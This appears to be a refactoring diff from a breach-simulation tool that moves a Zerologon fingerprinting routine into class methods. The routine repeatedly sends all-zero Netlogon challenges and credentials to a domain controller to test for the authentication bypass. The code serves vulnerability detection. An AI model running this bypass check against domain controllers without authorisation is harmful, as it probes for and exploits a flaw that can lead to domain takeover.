Extract nested function

monkey/infection_monkey/network/windowsserver_fingerprint.py

@@ -20,62 +20,11 @@ class WindowsServerFinger(HostFinger):
     MAX_ATTEMPTS = 2000
     _SCANNED_SERVICE = "NTLM (NT LAN Manager)"
 
-    def get_dc_name(self, DC_IP):
-        """
-        Gets NetBIOS name of the Domain Controller (DC).
-        """
-        name = ''
-        try:
-            nb = nmb.NetBIOS.NetBIOS()
-            name = nb.queryIPForName(ip=DC_IP)  # returns either a list of NetBIOS names or None
-            return name[0] if name else None
-        except BaseException as ex:
-            LOG.info(f'Exception: {ex}')
-
     def get_host_fingerprint(self, host):
         """
         Checks if the Windows Server is vulnerable to Zerologon.
         """
 
-        def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
-            # Connect to the DC's Netlogon service.
-            binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
-                                   protocol='ncacn_ip_tcp')
-            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
-            rpc_con.connect()
-            rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
-
-            # Use an all-zero challenge and credential.
-            plaintext = b'\x00' * 8
-            ciphertext = b'\x00' * 8
-
-            # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
-            flags = 0x212fffff
-
-            # Send challenge and authentication request.
-            nrpc.hNetrServerReqChallenge(
-                rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
-
-            try:
-                server_auth = nrpc.hNetrServerAuthenticate3(
-                    rpc_con, DC_HANDLE + '\x00', DC_NAME +
-                    '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
-                    DC_NAME + '\x00', ciphertext, flags
-                )
-
-                # It worked!
-                assert server_auth['ErrorCode'] == 0
-                return rpc_con
-
-            except nrpc.DCERPCSessionError as ex:
-                if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
-                    pass
-                else:
-                    raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
-
-            except BaseException as ex:
-                raise Exception(f'Unexpected error: {ex}.')
-
         DC_IP = host.ip_addr
         DC_NAME = self.get_dc_name(DC_IP)
         DC_HANDLE = '\\\\' + DC_NAME
@@ -88,7 +37,7 @@ class WindowsServerFinger(HostFinger):
             rpc_con = None
             for _ in range(0, self.MAX_ATTEMPTS):
                 try:
-                    rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
+                    rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
                     if rpc_con is not None:
                         break
                 except Exception as ex:
@@ -109,3 +58,54 @@ class WindowsServerFinger(HostFinger):
         else:
             LOG.info('Error encountered; most likely not a Windows Domain Controller.')
             return False
+
+    def get_dc_name(self, DC_IP):
+        """
+        Gets NetBIOS name of the Domain Controller (DC).
+        """
+
+        try:
+            nb = nmb.NetBIOS.NetBIOS()
+            name = nb.queryIPForName(ip=DC_IP)  # returns either a list of NetBIOS names or None
+            return name[0] if name else None
+        except BaseException as ex:
+            LOG.info(f'Exception: {ex}')
+
+    def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
+        # Connect to the DC's Netlogon service.
+        binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
+                               protocol='ncacn_ip_tcp')
+        rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+        rpc_con.connect()
+        rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
+
+        # Use an all-zero challenge and credential.
+        plaintext = b'\x00' * 8
+        ciphertext = b'\x00' * 8
+
+        # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
+        flags = 0x212fffff
+
+        # Send challenge and authentication request.
+        nrpc.hNetrServerReqChallenge(
+            rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
+
+        try:
+            server_auth = nrpc.hNetrServerAuthenticate3(
+                rpc_con, DC_HANDLE + '\x00', DC_NAME +
+                '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
+                DC_NAME + '\x00', ciphertext, flags
+            )
+
+            # It worked!
+            assert server_auth['ErrorCode'] == 0
+            return rpc_con
+
+        except nrpc.DCERPCSessionError as ex:
+            if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
+                pass
+            else:
+                raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
+
+        except BaseException as ex:
+            raise Exception(f'Unexpected error: {ex}.')